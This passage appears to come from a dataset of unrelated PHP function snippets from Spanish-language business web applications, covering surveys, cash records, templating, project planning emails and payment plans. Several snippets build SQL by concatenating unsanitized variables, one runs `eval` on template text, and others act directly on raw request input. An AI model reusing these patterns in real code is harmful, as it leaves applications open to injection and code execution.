:valor,[[id_conjunto_respuesta]] = :idconjrpta,[[id_pregunta]] = :idpregunta ,[[id_tpregunta]] = :idtpregunta,[[id_capitulo]] = :idcapitulo,[[id_formato]] = :idformato,[[id_conjunto_pregunta]] = :idconjprta,[[id_version]] = :idversion, [[id_junta]] = :idjunta WHERE [[id_respuesta]] = \".$_idrespuesta;\n if($id_pregunta==1318)\n {\n $id_conj_resp= $this->_idconjrpta;\n $enti = \\common\\models\\autenticacion\\Entidades::find()->where(['=', 'entidades.id_entidad', $id_conj_resp])->one();\n $iden= $enti['identificacion'];\n $g_sql.=\"; UPDATE USUARIOS_AP SET [[usuario_digitador]]=:valor WHERE [[identificacion]] ='$iden';\";\n }\n }else{\n $g_sql=\"\";\n } \n \n $_valor = $valor;\n return [$g_sql,$_valor];\n }", "function insertarmovimiento($idempleado,$description,$categoria,$idencargado, $dinero, $caja){\r\n\t$idemp = substr($idempleado, 1);\r\n\t$onoma=$caja->nameUser($idemp);\r\n\t$idMov=$caja->insert_movimiento(\"credito\",0,$onoma.\": \".$description,$categoria,$idencargado);\r\n\t$caja->insert_mov_credito($idMov,$dinero,$idemp,0,\"HR\");\r\n\t//$response = loadtickets($caja,$idemp);\t\r\n\t$response = loadmovimientos($caja,$idemp);\r\n\t$totalTickets=$caja->total_cuenta($idemp);\r\n\t$response[\"TotalTickets\"]=$totalTickets;\r\n\treturn $response;\t\r\n}", "function maquetador_genera($plantilla, $controladorDefecto=false, $accionDefecto=false) {\n global $aEstado ;\n \n $pendientes = false;\n\n\t // precarga de modulos\n\t if ( !is_array($aEstado) ){ \n\t maquetador_evaluar_estado($controladorDefecto, $accionDefecto);\t \n\t }\n\t \n\t if ( !isset($aEstado[\"modulos\"]) ){\n\t maquetador_precarga_modulos();\n\t }\n\n // leer la plantilla\n if ( !file_exists($plantilla) ) {\n echo t(\"No exista la plantilla: [$plantilla]\");\n return false; \n }\n $html = maquetador_insertar_include ( $plantilla ); \n $aGenerar = maquetador_extraer_marcas ( $html );\n\n foreach ( $aGenerar as $marca=>$contenido ) {\n $aDatos = maquetador_extrae_modulo ( $marca );\n\n // averiguar el modulo\n if ( $aDatos[\"modulo\"] == \"contenido\") {\n $modulo = $aEstado[\"controlador\"];\n $aDatos[\"accion\"]= ( $aDatos[\"accion\"]=='' ? $aEstado[\"accion\"] : $aDatos['accion']);\n $aDatos[\"id\"] = ( $aDatos[\"id\"] =='' ? $aEstado[\"id\"] : $aDatos['id']);\n } elseif ($aDatos[\"modulo\"]==\"maquetador\") {\n $pendientes[$marca] = $aDatos[\"accion\"];\n continue;\n } else {\n $modulo = $aDatos[\"modulo\"];\n }\n\n // comprobamos que el modulo es correcto\n if ( $modulo == \"t\") {\n $aGenerar[$marca] = t($aDatos[\"accion\"]);\n } else {\n // ver si es un modulo\n if ( $modulo!=\"PUT\" and $modulo!=\"PHP\" and !isset( $aEstado[\"modulos\"][$modulo]) ) {\n $aGenerar[$marca] = \"controlador desconocido: $modulo\";\n } else {\n // si inserta el modulo si cumple la condición\n if ( $aDatos['condicional']==\"\" or maquetador_evalua ( $aDatos['condicional'])) {\n // hay que mostrar el modulo\n switch ( $modulo ) {\n case \"PUT\":\n $aGenerar[$marca] = $aDatos[\"accion\"];\n break;\n case \"PHP\":\n $aGenerar[$marca] = eval(\"return \" . $aDatos[\"accion\"]. \";\" ) ;\n break;\n\n default:\n if ( $aEstado[\"modulos\"][$modulo]) {\n include_once $aEstado[\"modulos\"][$modulo];\n $aEstado[\"modulos\"][$modulo]= false;\n }\n $aGenerar[$marca] = $modulo( $aDatos[\"accion\"], $aDatos[\"id\"] ) ;\n }\n }\n }\n } // else T\n } // for\n\n if ( $pendientes ) {\n foreach ( $pendientes as $k=>$accion) {\n $aGenerar[$k] = maquetador_script(\"genera\", $accion );\n }\n }\n \n // ahorita solo queda calcular e imprimir el resultado \n echo strtr ( $html, $aGenerar );\n\n}", "function sobre_planeacion($minimoMes,$maximoMes,$vigencia,$unidades,$tipo_usuario)\n\t\t{\n\t\t\t//$tipo_usuario ALMACENA EL TIPO DE USUARIO( I O E), EN UN ARRAY, ESTE SE CARGA EN LA PAGINA DE PLANEACION DE PROYECTOS (upHTplaneacionProy.PHP)\t\n//echo $unidades[0].\" - $minimoMes - $maximoMes - $vigencia ********************** <br><br>\";\n\t\t?>\n\n<?\t\t\n\t\t$ban_reg=0; //PERMITE IDENTIFICAR, SI SE ENCONTRO ALMENOS, UN USUARIO SOBRE PLANEADO, DE NO SER ASI, NO SE ENVIA EL CORREO\n\t\t$pTema ='<table width=\"100%\" border=\"0\">\n\t\t <tr class=\"Estilo2\" >\n\t\t\t<td>&nbsp;</td>\n\t\t\t<td>&nbsp;</td>\n\t\t\n\t\t\n\t\t </tr>\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td width=\"5%\" >Asunto:</td>\n\t\t\t<td >Sobre planeaci&oacute;n de participantes.</td>\n\t\t </tr>\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td>&nbsp;</td>\n\t\t\t<td>&nbsp;</td>\n\t\t \n\t\t </tr>\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td colspan=\"2\">Los siguientes participantes, tienen una dedicaci&oacute;n superior a 1 en los siguientes proyectos:</td>\n\t\t </tr>\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td>&nbsp;</td>\n\t\t\t<td>&nbsp;</td>\n\t\t\n\t\t\n\t\t </tr>\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td>&nbsp;</td>\n\t\t\t<td>&nbsp;</td>\n\t\t\n\t\t </tr>\n\t\t\n\t\t <tr class=\"Estilo2\">\n\t\t\t<td colspan=\"2\" >\n\t\t\t\t<table width=\"100%\" border=\"1\" >\n\n\t\t\t\t <tr class=\"Estilo2\">\n\t\t\t\t\t<td colspan=\"5\"></td>\n\t\t\t\t\t<td colspan=\"'.(($maximoMes-$minimoMes)+1).'\" align=\"center\" >'.$vigencia.'</td>\n\t\t\t\t </tr>\t\t\t\t\n\t\t\t\t\n\t\t\t\t <tr class=\"Estilo2\">\n\t\t\t\t\t<td>Unidad</td>\n\t\t\t\t\t<td>Nombre</td>\n\t\t\t\t\t<td>Departamento</td>\n\t\t\t\t\t<td>Divisi&oacute;n</td>\n\t\t\t\t\t<td>Proyecto</td>';\n\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\t$vMeses= array(\"\",\"Ene\",\"Feb\", \"Mar\", \"Abr\", \"May\", \"Jun\", \"Jul\", \"Ago\", \"Sep\", \"Oct\", \"Nov\", \"Dic\"); \n\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t{\n\n\t\t\t\t\t $pTema = $pTema.'<td>'.$vMeses[$m].' </td>';\n\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\n\n\t\t\t\t\n\t\t\t\t $pTema = $pTema.' </tr>';\n\t\t\t\t$cur_tipo_usu=0; //CURSOR DEL ARRAY, DEL TIPO DE USUARIO \n\t\t\t\tforeach($unidades as $unid)\n\t\t\t\t{\n//tipo_usuario\n\t\t\t\t\tif($tipo_usuario[$cur_tipo_usu]==\"I\")\t\n\t\t\t\t\t{\n\t\t\t\t\t//CONSULTA SI EL USUARIO ESTA SOBREPLANEADO EN ALMENOS, UN MES DURANTE LA VIGENCIA\n\n\t\t\t\t\t//COSNULTA PARA LOS USUARIOS INTERNOS\n\t\t\t\t\t\t\t$sql_planea_usu=\"select top(1) SUM (hombresMes) as total_hombre_mes ,PlaneacionProyectos.unidad ,mes \n\t\t\t\t\t\t\t\t\t\t\t--,PlaneacionProyectos.id_proyecto\n\t\t\t\t\t\t\t\t\t\t\t, PlaneacionProyectos.unidad, Usuarios.nombre, \n\t\t\t\t\t\t\t\t\t\t\tUsuarios.apellidos ,Divisiones.nombre as div,Departamentos.nombre as dep\n\t\t\t\t\t\t\t\t\t\t\tfrom PlaneacionProyectos \n\t\t\t\t\t\t\t\t\t\t\t inner join Usuarios on PlaneacionProyectos.unidad=Usuarios.unidad \n\t\t\t\t\t\t\t\t\t\t\t inner join Departamentos on Departamentos.id_departamento=Usuarios.id_departamento \n\t\t\t\t\t\t\t\t\t\t\t inner join Divisiones on Divisiones.id_division=Departamentos.id_division \n\t\t\t\t\t\t\t\t\t\t\t inner join Proyectos on PlaneacionProyectos.id_proyecto=Proyectos.id_proyecto \n\t\t\t\t\t\t\t\t\t\t\twhere vigencia=\".$vigencia.\" and mes in( \"; \n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t\t\t\t\t\t$sql_planea_usu=$sql_planea_usu.\" \".$m.\",\";\n\t\t//PlaneacionProyectos.id_proyecto,\t\t\t\t\n\t\t\t\t\t\t\t$sql_planea_usu=$sql_planea_usu.\"0) and PlaneacionProyectos.unidad=\".$unid.\" \n\t\t\t\t\t\t\t\t\t\t\tand esInterno='I'\n\t\t\t\t\t\t\t\t\t\t\tgroup by PlaneacionProyectos.unidad,mes,Usuarios.nombre, Usuarios.apellidos,Divisiones.nombre ,Departamentos.nombre \n\t\t\t\t\t\t\t\t\t\t\tHAVING (SUM (hombresMes))>1 \";\n\t\t\t\t\t}\n\n\n\t\t\t\t\tif($tipo_usuario[$cur_tipo_usu]==\"E\")\t\n\t\t\t\t\t{\n\t\t\t\t\t\t//COSNULTA PARA LOS USUARIOS EXTERNOS\n\t\t\t\t\t\t$sql_planea_usu=\" select top(1) SUM (hombresMes) as total_hombre_mes ,PlaneacionProyectos.unidad ,mes \n\t\t\t\t\t\t\t\t\t--,PlaneacionProyectos.id_proyecto\n\t\t\t\t\t\t\t\t\t, PlaneacionProyectos.unidad, TrabajadoresExternos.nombre, \n\t\t\t\t\t\t\t\t\tTrabajadoresExternos.apellidos,'' div, ''dep\n\t\t\t\t\t\t\t\t\tfrom PlaneacionProyectos \n\t\t\t\t\t\t\t\t\t inner join TrabajadoresExternos on PlaneacionProyectos.unidad=TrabajadoresExternos.consecutivo \n\t\t\t\t\t\t\t\t\t inner join Proyectos on PlaneacionProyectos.id_proyecto=Proyectos.id_proyecto \n\t\t\t\t\t\t\t\t\twhere vigencia=\".$vigencia.\" and mes in( \";\n\t\t\t\t\t\t\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t\t\t\t\t\t$sql_planea_usu=$sql_planea_usu.\" \".$m.\",\";\n\n\t\t\t\t\t\t\t$sql_planea_usu=$sql_planea_usu.\"0) and PlaneacionProyectos.unidad=\".$unid.\" \n\t\t\t\t\t\t\t\t\tand esInterno='E'\n\t\t\t\t\t\t\t\t\tgroup by PlaneacionProyectos.unidad,mes,TrabajadoresExternos.nombre, TrabajadoresExternos.apellidos\n\t\t\t\t\t\t\t\t\tHAVING (SUM (hombresMes))>1 \t\";\n\t\t\t\t\t}\n\n\t\t\t\t\t$cur_planea_usu=mssql_query($sql_planea_usu);\n//echo $sql_planea_usu.\" ---- <br>\".mssql_get_last_message().\" *** \".mssql_num_rows($cur_planea_usu).\"<br>\";\n\t\t\t\t\twhile($datos__planea_usu=mssql_fetch_array($cur_planea_usu))\n\t\t\t\t\t{\n\t\t\t\t\t\t$ban_reg=1; //SI ENCUENTRA ALMENOS UN USUARIO SOBREPLANEADO, ENVIA EL CORREO\n\t\t\t\t\n\t\t\t\t\t\t//CONSULTA LOS PROYECTOS, EN LOS CUALES EL PARTICIAPENTE HA SIDO PLANEADO, ESTO PARA PODER DOBUJAR LA TABLA DE FORMA CORRECTA\n\t\t\t\t\t\t$sql_uu=\" select distinct(id_proyecto),nombre,codigo,cargo_defecto from (select SUM (hombresMes) as total_hombre_mes ,unidad, mes,PlaneacionProyectos.id_proyecto ,Proyectos.nombre,Proyectos.codigo,Proyectos.cargo_defecto \n\t\t\t\t\t\t\t\t\tfrom PlaneacionProyectos\n\t\t\t\t\t\t\t\t\t\tinner join Proyectos on PlaneacionProyectos.id_proyecto=Proyectos.id_proyecto \n\t\t\t\t\t\t\t\t\t where vigencia=\".$vigencia.\" and mes in( \";\n\t\t\t\t\n\t\t\t\t\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$sql_uu=$sql_uu.\" \".$m.\",\";\n\t\t\t\t\t\t\t\t\t\t$total_planeado[$m]=0;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\t$sql_uu=$sql_uu.\"0) and unidad in(\".$unid.\") and esInterno= '\".$tipo_usuario[$cur_tipo_usu].\"' group by unidad, mes , PlaneacionProyectos.id_proyecto,Proyectos.nombre,Proyectos.codigo,Proyectos.cargo_defecto ) aa \";\n// HAVING (SUM (hombresMes)\t>1\t\n\t\t\t\t\t\t$cur_uu=mssql_query($sql_uu);\n\t\t\t\t\t\t$cant_proy=mssql_num_rows($cur_uu);\n//echo \"<br><BR>---//**************--------------\".$sql_uu.\" \".mssql_get_last_message().\"<br>\".$cant_proy.\"<br>\";\n\t\t\t\t?>\n\t\t\t\t\n\t\t\t\t<?\n\t\t\t\t//echo $sql_proy_planea.\" ---- <br>\".mssql_get_last_message().\"<br><br>\";\n\t\t\t\t\n\t\t\t\t\t\t$total_planeado= array();\n\t\t\t\t\t\t$cont=0;\n\t\t\t\t\t\twhile($datos_uu=mssql_fetch_array($cur_uu))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($cont==0)\n\t\t\t\t\t\t\t{\n\t\n\t\t\t\t\t\t\t\t $pTema = $pTema.' <tr class=\"Estilo2\">\t\t\t\t\n\t\t\t\t\t\t\t\t<td rowspan=\"'.$cant_proy.' \"> '.$datos__planea_usu[\"unidad\"].' </td>\n\t\t\t\t\t\t\t\t<td rowspan=\"'.$cant_proy.' \">'.$datos__planea_usu[\"apellidos\"].' '.$datos__planea_usu[\"nombre\"].' </td>\n\t\t\t\t\t\t\t\t<td rowspan=\"'.$cant_proy.' \">'. $datos__planea_usu[\"dep\"].' </td>\n\t\t\t\t\t\t\t\t<td rowspan=\"'.$cant_proy.' \">'. $datos__planea_usu[\"div\"].' </td>';\n\t\t\t\t\t\t\t\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t$pTema = $pTema.'<td class=\"Estilo2\" >['.$datos_uu[\"codigo\"].'.'.$datos_uu[\"cargo_defecto\"].'] '. $datos_uu[\"nombre\"].' </td>';\n\n\t\t\t\t\t\t\t//CONSULTA LA INFORMACION DE LO PLANEADO EN CADA MES, DE ACUERDO AL PORYECTO CONSULTADO\n\t\t\t\t\t\t\t$sql_pro=\"select SUM (hombresMes) as total_hombre_mes ,PlaneacionProyectos.id_proyecto,PlaneacionProyectos.unidad,mes\n\t\t\t\t\t\t\t\t\t\t from PlaneacionProyectos \n\t\t\t\t\t\t\t\t\t\t where vigencia=\".$vigencia.\" and PlaneacionProyectos.unidad=\".$unid.\" and id_proyecto=\".$datos_uu[\"id_proyecto\"].\" and mes in(\";\n\t\t\t\t\t\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t$sql_pro=$sql_pro.\" \".$m.\",\";\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$sql_pro=$sql_pro.\" 0) and esInterno= '\".$tipo_usuario[$cur_tipo_usu].\"' group by PlaneacionProyectos.id_proyecto ,PlaneacionProyectos.unidad ,mes order by (mes) \";\n// HAVING (SUM (hombresMes))>1\n\t\t\t\t\t\t\t$cur_proy_planea=mssql_query($sql_pro);\n//\t\t\t\techo $sql_pro.\" --22222222222-- <br>\".mssql_get_last_message().\"<br><br>\";\n\t\t\t\t\t\t\t$m=$minimoMes;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\twhile($datos_proy_planea=mssql_fetch_array($cur_proy_planea))\n\t\t\t\t\t\t\t{\t\n\t\t\t\t\t\t\t\tfor ($m;$m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\tif($datos_proy_planea[\"mes\"]==$m)\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\t$total_planeado[$m]+=( (float) $datos_proy_planea[\"total_hombre_mes\"]);\n\n\t\t\t\t\t\t\t\t\t\t$pTema = $pTema.'<td class=\"Estilo2\" align=\"right\" >'.((float) $datos_proy_planea[\"total_hombre_mes\"] ).'</td>';\n\n\t\t\t\t\t\t\t\t\t\t$m=$datos_proy_planea[\"mes\"];\n\t\t\t\t\t\t\t\t\t\t$m++;\n\t\t\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\t\t\t\t$pTema = $pTema.'<td>&nbsp; </td>';\n\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$m--;\n\t\t\t\t\t\t\tfor ($m++;$m<=$maximoMes; $m++) \n\t\t\t\t\t\t\t{\n\t\t\t\t\n\t\t\t\t\t\t\t\t $pTema = $pTema.'<td>&nbsp;</td>';\n\t\t\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t\t\t$cont++;\n\t\t\t\t\t\t\tunset($datos_proy_planea);\n\n\t\t\t\t\t\t\t $pTema = $pTema.' </tr>';\n\n\t\t\t\t//\t\t\techo $datos_proy_planea[\"total_hombre_mes\"].\"<br>\";\n\t\t\t\t\t\t}\n\n\t\t\t\t\t $pTema = $pTema.' <tr class=\"Estilo2\">\n\t\t\t\t\t\t<td colspan=\"4\" >&nbsp;</td>\n\n\t\t\t\t\t\t<td>Total planeaci&oacute;n</td>';\n\n\t\t\t\t\t\tfor ($m=$minimoMes; $m<=$maximoMes; $m++) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif($total_planeado[$m]==0)\n\t\t\t\t\t\t\t\t$pTema = $pTema.'<td>&nbsp;</td>';\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$pTema = $pTema.'<td>'.$total_planeado[$m].'</td>';\n\t\t\t\t\t\t}\n \n\t\t\t\t\t $pTema = $pTema.' </tr>\n\t\t\t\t\t <tr >\n\t\t\t\t\t\t<td colspan=\"17\">&nbsp;</td>\n\t\t\t\t\t </tr>\t';\n\n\t\t\t\t\t}\n\t\t\t\t\t$cur_tipo_usu++;\n\t\t\t\t}\n\t\t\t\t$pTema = $pTema.'\n\n\t\t\t\t</table>\n\t\t\t</td>\n\t\t </tr>\n\t\t<tr class=\"Estilo2\"><td colspan=\"2\" >Para consultar en detalle la planeaci&oacute;n de un participante, en un proyecto especifico, utilice el reporte Usuarios por proyecto, accediendo a el, atravez del boton Consolidados por divisi&oacute;n, ubicado en la parte superior de la pagina principal de la planeaci&oacute;n por proyectos. </td></tr>\n\t\t</table>';\n\n\t\t/*\n\t\t\t\t//consulta la unidad del director y el coordinador de proyecto\n\t\t\t\t$sql=\"SELECT id_director,id_coordinador FROM HojaDeTiempo.dbo.proyectos where id_proyecto = \" . $cualProyecto.\" \" ;\n\t\t\t\t$eCursorMsql=mssql_query($sql);\n\t\t\t\t$usu_correo= array(); //almacena la unidad de los usuarios a los que se le enviara el correo\n\t\t\t\t$i=1;\n\t\t\t\twhile($datos_dir_cor=mssql_fetch_array($eCursorMsql))\n\t\t\t\t{\n\t\t\t\t\t$usu_correo[$i]=$datos_dir_cor[\"id_coordinador\"];\n\t\t\t\t\t$i++;\n\t\t\t\t\t$usu_correo[$i]=$datos_dir_cor[\"id_director\"];\n\t\t\t\t\t$i++;\n\t\t\t\t}\n\t\t\n\t\t\t\t//consulta la unidad porgramadores y ordenadores de gasto\t\t\t\n\t\t//select unidad from HojaDeTiempo.dbo.Programadores where id_proyecto=\".$cualProyecto.\" union\n\t\t\t\t$sql_pro_orde=\" select unidadOrdenador from GestiondeInformacionDigital.dbo.OrdenadorGasto where id_proyecto=\".$cualProyecto;\n\t\t\t\t$cur_pro_orde=mssql_query($sql_pro_orde);\n\t\t\t\twhile($datos_pro_orde=mssql_fetch_array($cur_pro_orde))\n\t\t\t\t{\n\t\t\t\t\t$usu_correo[$i]=$datos_pro_orde[\"unidad\"];\n\t\t\t\t\t$i++;\n\t\t\t\t}\t\t\t\n\t\t\n\t\t\t\t$i=0;\n\t\t\t\t//consulta el correo de los usuarios(director,cordinador,ordenadroes de G, y programadores) asociados al proyecto\n\t\t\t\t$sql_usu=\" select email from HojaDeTiempo.dbo.Usuarios where unidad in(\";\n\t\t\t\tforeach($usu_correo as $unid)\n\t\t\t\t{\n\t\t\t\t\tif($i==0)\n\t\t\t\t\t{\n\t\t\t\t\t\t$sql_usu=$sql_usu.\" \".$unid;\t\t\n\t\t\t\t\t\t$i=1;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t\t$sql_usu=$sql_usu.\" ,\".$unid;\n\t\t\t\t}\n\t\t\t\t$sql_usu=$sql_usu.\") and retirado is null\";\n\t\t\t\t$cur_usu=mssql_query($sql_usu);\t\t\t\t\n\t\t\n\t\t\t\t//se envia el correo a el director, cordinador, orenadores de gasto, y programadores del proyecto\t\n\t\t\t\twhile($eRegMsql = mssql_fetch_array($cur_usu))\n\t\t\t\t{\t\t\n\t\t\t\t $miMailUsuarioEM = $eRegMsql[email] ;\n\t\t\t\n\t\t\t\t //***EnviarMailPEAR\t\n\t\t\t\t $pPara= trim($miMailUsuarioEM) . \"@ingetec.com.co\";\n\t\t\t\n\t\t\t\t enviarCorreo($pPara, $pAsunto, $pTema, $pFirma);\n\t\t\t\n\t\t\t\t //***FIN EnviarMailPEAR\n\t\t\t\t $miMailUsuarioEM = \"\";\n\t\t\t\n\t\t\t\t}\n\t\t*/\n\t\t\tif($ban_reg==1) //SEW ENVIA EL CORREO SI EXISTE ALMENOS UN USUARIO SOBREPLANEADO\n\t\t\t{\n\t\t///////////////////////////**********************************************************PARA QUITAR\n\t\t\t $miMailUsuarioEM = 'carlosmaguirre'; //$eRegMsql[email] ;\t\n\t\t\t\t$pAsunto='Sobre planeaci&oacute;n de proyectos';\n\t\t\t //***EnviarMailPEAR\t\n\t\t\t $pPara= trim($miMailUsuarioEM) . \"@ingetec.com.co\";\t\n\t\t\t enviarCorreo($pPara, $pAsunto, $pTema, $pFirma);\t\n\t\t\t //***FIN EnviarMailPEAR\n\t\t\t $miMailUsuarioEM = \"\";\n\t\t\t}\n\t\t\n\t\t?>\n\n<?\n}", "public function crearInstalacion() {\n\n if ($this->seguridad->esAdmin()) {\n $id = $this->instalacion->getLastId();\n $nombre = $_REQUEST[\"nombre\"];\n $descripcion = $_REQUEST[\"descripcion\"];\n $imagen = $_FILES[\"imagen\"];\n $precioHora = $_REQUEST[\"precioHora\"];\n $horarios = array();\n \n for ($i=1; $i<=14; $i++) {\n $horarios[] = $_REQUEST[\"d\" . $i];\n }\n \n \n if ($this->instalacion->add($nombre,$descripcion,$imagen,$precioHora,$horarios,$id) > 1) {\n $this->instalacion($id);\n } else {\n echo \"<script>\n i=5;\n setInterval(function() {\n if (i==0) {\n location.href='index.php';\n }\n document.body.innerHTML = 'Ha ocurrido un error. Redireccionando en ' + i;\n i--;\n },1000);\n </script>\";\n }\n } else {\n $this->gestionReservas();\n }\n\n }", "public function RegistreComision($fecha,$ValorComision, $TipoVenta,$comisionista,$idVenta,$Paga)\r\n{\r\n\r\n\t\t\t\t\t\r\n\t\t$tabla=\"comisionesporventas\";\r\n\t\t$NumRegistros=8;\r\n\t\r\n\t\t$this->NombresColumnas(\"colaboradores\");\r\n\t\t\r\n\t\t$DatosColaborador=$this->DevuelveValores($comisionista);\r\n\t\t\t\t\t\t\t\r\n\t\t$CuentaPUC=\"233520$comisionista\";\r\n\t\t$NombreCuenta=\"Comision por pagar del colaborador $DatosColaborador[Nombre] CC $DatosColaborador[Identificacion]\";\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t$Columnas[0]=\"Fecha\";\t\t\t\t\t\t\t$Valores[0]=$fecha;\r\n\t\t$Columnas[1]=\"CuentaPUC\";\t\t\t\t\t\t$Valores[1]=$CuentaPUC;\r\n\t\t$Columnas[2]=\"NombreCuenta\";\t\t\t\t\t$Valores[2]=$NombreCuenta;\r\n\t\t$Columnas[3]=\"Valor\";\t\t\t\t\t\t\t$Valores[3]=$ValorComision;\r\n\t\t$Columnas[4]=\"TipoVenta\";\t\t\t\t\t\t$Valores[4]=$TipoVenta;\r\n\t\t$Columnas[5]=\"Colaboradores_idColaboradores\";\t$Valores[5]=$comisionista;\r\n\t\t$Columnas[6]=\"Ventas_NumVenta\";\t\t\t\t\t$Valores[6]=$idVenta;\r\n\t\t$Columnas[7]=\"Paga\";\t\t\t\t\t\t\t$Valores[7]=$Paga;\r\n\t\t\t\t\t\t\t\r\n\t\t$this->InsertarRegistro($tabla,$NumRegistros,$Columnas,$Valores);\r\n\r\n\r\n}", "public function getEncuestaUnidadid()\r\n {\r\n return $this->encuesta_unidadId;\r\n }", "private function iniciar_pagina_anuncio(){\n\t\t//==========necesarios para anuncios===============\n\t\trequire_once 'inc/clases/form_busqueda_builder.class.php';\t//para formularios ($Form)\n\t\trequire_once 'inc/clases/public/empresa.class.php';\t\t\t//pagina de empresa (y empresas)\n\t\trequire_once 'inc/clases/public/pagina_anuncio.class.php';\t\t//pagina anuncio(Modulo)\n\n\n\t\t$Anuncio = new Pagina_anuncio();\n\t\t//var_dump($Anuncio);\n\t\tif($Anuncio->correcto == false){\n\t\t\t$this->forzar_404();\n\t\t}else{\n\t\t\t//var_dump('esta ok');\n\t\t\t$this->anuncio = $Anuncio->salida;\n\t\t\t$empresa = $this->anuncio['ussr'];\n\t\t\t$this->Empresa = new Empresa();\n\t\t\t$this->Empresa->extraigo_para_anuncios($empresa);\n\n\t\t}\n\t}", "public function getUsuarioUni($idusuario) {\n }", "public function listaUnidades () {\n \t$Respuesta = Datos::mdlListaUnidades(\"unidades\");\n \t$Contador = 0;\n\n \t\tforeach ($Respuesta as $Row => $Item) {\n \t\t\t$Contador++;\n\n \t\t\techo \"<tr>\n \t\t\t\t\t<td>\".$Contador.\"</td>\n \t\t\t\t\t<td>\".$Item[\"noEconomico\"].\"</td>\n \t\t\t\t\t<td>\".$Item[\"marca\"].\"</td>\n \t\t\t\t\t<td>\".$Item[\"modelo\"].\"</td>\n\t\t\t\t\t\t<td>\".$Item[\"placas\"].\"</td>\n\t\t\t\t\t\t<td>\".$Item[\"kilometraje\"].\"</td>\n\t\t\t\t\t\t<td><a href='updtUnidad.php?idEditar=\".$Item[\"idUnidad\"].\"'><button class='btn btn-warning'>Editar</button></a></td>\n\t\t\t\t\t\t<td><a href='listaUnidades.php?idBorrar=\".$Item[\"idUnidad\"].\"'><button class='btn btn-danger'>Borrar</button></a></td>\n \t\t\t\t</tr>\";\n\n \t\t}\n\n }", "public function create()\n {\n $u = Auth::user();\n $doc = Docente::where('identificacion', $u->identificacion)->first();\n $hoy = getdate();\n $a = $hoy[\"year\"] . \"-\" . $hoy[\"mon\"] . \"-\" . $hoy[\"mday\"];\n $per = Periodo::where([['fechainicio', '<=', $a], ['fechafin', '>=', $a]])->first();\n $grupos = Cargaacademica::where([['docente_id', $doc->id], ['periodo_id', $per->id]])->get();\n if ($grupos != null) {\n foreach ($grupos as $c) {\n $cargas[$c->id] = $c->asignatura->codigo . \"-\" . $c->asignatura->nombre . \" - \" . $c->grupo->nombre;\n }\n }\n return view('evaluacion.asistencia.create')\n ->with('location', 'evalcuacion')\n ->with('cargas', $cargas);\n }", "function insertarAnalisisPorqueDet(){\n\t\t$this->procedimiento='gem.ft_analisis_porque_det_ime';\n\t\t$this->transaccion='GM_DET_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_analisis_porque','id_analisis_porque','int4');\n\t\t$this->setParametro('solucion','solucion','varchar');\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('porque','porque','varchar');\n\t\t$this->setParametro('respuesta','respuesta','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "function generar_plan_pagos($parametros, &$conec = null) {\n\n\n\n if ($conec == null) {\n\n $conec = new ADO();\n }\n\n $par = (object) $parametros;\n\n $lista_pagos = array();\n\n if ($par->tipo == \"plazo\") {//plazo\n $data = array(\n 'tipo' => 'plazo',\n 'plazo' => $par->plazo,\n 'interes_anual' => $par->interes,\n 'saldo' => $par->saldo,\n 'fecha_inicio' => $par->fecha_inicio,\n 'fecha_pri_cuota' => $par->fecha_pri_cuota,\n 'nro_cuota_inicio' => $par->nro_cuota_inicio,\n 'rango' => $par->rango,\n 'frecuencia' => 'dia_mes'\n );\n\n $lista_pagos = FUNCIONES::plan_de_pagos($data);\n } elseif ($par->tipo == \"cuota\") {//cuota mensual\n $data = array(\n 'tipo' => 'cuota',\n 'cuota' => $par->cuota,\n 'plazo' => $par->plazo,\n 'interes_anual' => $par->interes,\n 'saldo' => $par->saldo,\n 'fecha_inicio' => $par->fecha_inicio,\n 'fecha_pri_cuota' => $par->fecha_pri_cuota,\n 'nro_cuota_inicio' => $par->nro_cuota_inicio,\n 'rango' => $par->rango,\n 'frecuencia' => 'dia_mes'\n );\n\n $lista_pagos = 